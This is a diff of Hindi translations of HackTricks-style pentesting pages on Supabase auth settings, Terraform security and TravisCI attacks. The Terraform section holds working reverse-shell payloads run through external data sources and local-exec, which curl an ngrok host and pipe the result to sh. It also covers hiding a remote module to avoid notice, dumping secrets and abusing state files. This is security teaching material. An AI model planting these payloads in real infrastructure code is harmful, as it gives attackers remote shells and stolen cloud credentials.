उपयोग करते हैं। +> **डिफ़ॉल्ट** रूप से supabase आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने की अनुमति देगा** जो पहले उल्लेखित API एंडपॉइंट्स का उपयोग करते हैं। -हालांकि, ये नए खाते, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करने की आवश्यकता होगी** ताकि वे खाते में लॉगिन कर सकें। यह **"अनाम साइन-इन की अनुमति दें"** सक्षम करने के लिए संभव है ताकि लोग अपने ईमेल पते को सत्यापित किए बिना लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\ -यह एक बहुत बुरी विचार है क्योंकि सुपाबेस सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और सुपाबेस उन पर शुल्क लेगा: +हालांकि, इन नए खातों को, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करना होगा** ताकि वे खाते में लॉगिन कर सकें। यह संभव है कि **"अनाम साइन-इन की अनुमति दें"** सक्षम किया जाए ताकि लोग बिना अपने ईमेल पते को मान्य किए लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\ +यह एक बहुत बुरी विचार है क्योंकि supabase सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और supabase उन पर शुल्क लेगा:
### पासवर्ड और सत्र -यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) को इंगित करना और लीक हुए पासवर्ड का उपयोग करने से रोकना संभव है।\ -यह **अनुशंसा की जाती है कि आवश्यकताओं को सुधारें क्योंकि डिफ़ॉल्ट कमजोर हैं**। +यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) और लीक हुए पासवर्ड का उपयोग करने से रोकने के लिए संकेत देने की संभावना है।\ +यह अनुशंसा की जाती है कि **डिफ़ॉल्ट आवश्यकताओं को सुधारें क्योंकि वे कमजोर हैं**। - उपयोगकर्ता सत्र: यह निर्धारित करना संभव है कि उपयोगकर्ता सत्र कैसे काम करते हैं (टाइमआउट, प्रति उपयोगकर्ता 1 सत्र...) - बॉट और दुरुपयोग सुरक्षा: कैप्चा सक्षम करना संभव है। @@ -146,7 +146,7 @@ API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1Ni ## संग्रहण > [!TIP] -> सुपाबेस **फाइलों को संग्रहीत करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)। +> Supabase **फाइलों को स्टोर करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)। - अपलोड फ़ाइल आकार सीमा सेट करें (डिफ़ॉल्ट 50MB) - S3 कनेक्शन एक URL के साथ दिया गया है जैसे: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` @@ -154,6 +154,6 @@ API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1Ni ## एज फ़ंक्शंस -यह संभव है कि **सुपाबेस में गुप्त जानकारी संग्रहीत करें** जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)। +यह संभव है कि **supabase में गुप्त जानकारी** भी स्टोर की जा सके जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)। {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index d407529b6..40fe7ac19 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,12 +1,12 @@ -# Terraform Security +# Terraform सुरक्षा {{#include ../banners/hacktricks-training.md}} -## Basic Information +## मूल जानकारी -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[दस्तावेज़ों से:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको **क्लाउड और ऑन-प्रेम संसाधनों** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कि कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे कि DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है। +HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में **क्लाउड और ऑन-प्रेम संसाधनों** को परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है। #### Terraform कैसे काम करता है? @@ -14,47 +14,47 @@ Terraform क्लाउड प्लेटफार्मों और अन ![](<../images/image (177).png>) -HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं। +HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform रजिस्ट्री](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं। मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है: - **लिखें:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं। -- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है। -- **लागू करें:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा। +- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे वह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है। +- **लागू करें:** स्वीकृति पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा। ![](<../images/image (215).png>) -### Terraform Lab +### Terraform प्रयोगशाला बस अपने कंप्यूटर में terraform स्थापित करें। यहाँ आपके पास एक [गाइड](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [सर्वश्रेष्ठ तरीका](https://www.terraform.io/downloads) है। -## RCE in Terraform +## Terraform में RCE -Terraform **कोई प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**। +Terraform **एक प्लेटफ़ॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**। -हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके। +हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास **विभिन्न स्थानों तक विशेष पहुंच** होगी ताकि यह सही तरीके से काम कर सके। -एक हमलावर के लिए उस सिस्टम को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्या** किया जाएगा। +एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले भंडार को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्यायित** किया जाएगा। -वास्तव में, वहाँ ऐसे समाधान हैं जो **PR बनने के बाद स्वचालित रूप से terraform plan/apply निष्पादित करते हैं**, जैसे कि **Atlantis**: +वास्तव में, वहाँ ऐसे समाधान हैं जो **PR** बनने के बाद स्वचालित रूप से terraform plan/apply को **निष्पादित** करते हैं, जैसे कि **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हैं। +यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हो सकते हैं। -### Terraform plan +### Terraform योजना -Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी। +Terraform योजना terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेश निष्पादित करेगी। **एक बाहरी प्रदाता का उपयोग करना** -Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं। +Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमाने कोड को चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं। -एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा: +एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करना `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित करेगा: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -75,27 +75,27 @@ version = "1.0" provider "evil" {} ``` -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +प्रदाता `init` में डाउनलोड किया जाता है और जब `plan` निष्पादित होता है तो यह दुर्भावनापूर्ण कोड चलाएगा। -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +आप एक उदाहरण [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) में पा सकते हैं। **एक बाहरी संदर्भ का उपयोग करना** -दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: +दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है लेकिन अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: -- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell हो: +- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell शामिल है: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं। +आप रेव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं। -- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपाया जा सके**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\ +Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल के साथ** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं: ```json // Payload 1 to just steal a secret @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. +पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके**। ## Secrets Dumps -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +आप **terraform द्वारा उपयोग किए गए गुप्त मानों को डंप कर सकते हैं** `terraform apply` चलाकर, terraform फ़ाइल में कुछ इस तरह जोड़कर: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,7 +124,7 @@ value = nonsensitive(var.do_token) ``` ## Terraform State फ़ाइलों का दुरुपयोग -यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है: +यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को नहीं बदल सकते हैं, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है: ### संसाधनों को हटाना @@ -150,7 +150,7 @@ value = nonsensitive(var.do_token) ``` 2. **संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)** -EC2 उदाहरण के लिए, उदाहरण के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है। +EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है। ### RCE @@ -167,7 +167,7 @@ EC2 उदाहरण के लिए, उदाहरण के प्रक ] }, ``` -### Replace blacklisted provider +### ब्लैकलिस्टेड प्रदाता को बदलें यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं। ```terraform @@ -206,9 +206,9 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है। +**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए और छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण है। -यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform योजना](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm चार्ट](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है। +यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है। यह [सॉफ़्टवेयर संरचना विश्लेषण (SCA) स्कैनिंग](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है। ```bash @@ -217,11 +217,11 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके infrastructure-as-code के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है। +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है। - **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है - **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं? -- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। [Installation](https://terraform-compliance.com/pages/installation/) देखें +- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। देखें [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** यह आपके कोड को तैनात करने से पहले मान्य करता है - **easy to integrate:** यह आपके पाइपलाइन (या git hooks में) चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके। - **segregation of duty:** आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहां एक अलग टीम जिम्मेदार है। @@ -235,7 +235,7 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके। +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन का पता लगाया जा सके। - ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है - ⛔ सैकड़ों अंतर्निहित नियम @@ -256,16 +256,16 @@ tfsec /path/to/folder अपने **KICS** द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर की गलत कॉन्फ़िगरेशन को जल्दी खोजें। -**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन-सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए आवश्यक है। +**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए एक आवश्यक उपकरण है। ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थैतिक कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है: +From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थिर कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है: - गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें। -- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति में वापस लौटने की अनुमति दें। +- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति पर वापस लौटने की अनुमति देते हैं। - सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं। - क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें। - स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है। diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index a0a91c8b8..fbfc10697 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,63 +1,63 @@ -# TravisCI Security +# TravisCI सुरक्षा {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## TravisCI क्या है -**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **विभिन्न गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है। +**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है। {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## हमले -### Triggers +### ट्रिगर्स -हमला शुरू करने के लिए, आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर करना है। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**: +हमला शुरू करने के लिए आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर किया जाए। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**: ![](<../../images/image (145).png>) -#### Cron Jobs +#### क्रोन जॉब्स -यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह निरंतरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है: +यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह स्थिरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है: ![](<../../images/image (243).png>) > [!NOTE] -> ऐसा लगता है कि [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है। +> ऐसा लगता है कि `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार। -### Third Party PR +### थर्ड पार्टी PR -डिफ़ॉल्ट रूप से, TravisCI तीसरे 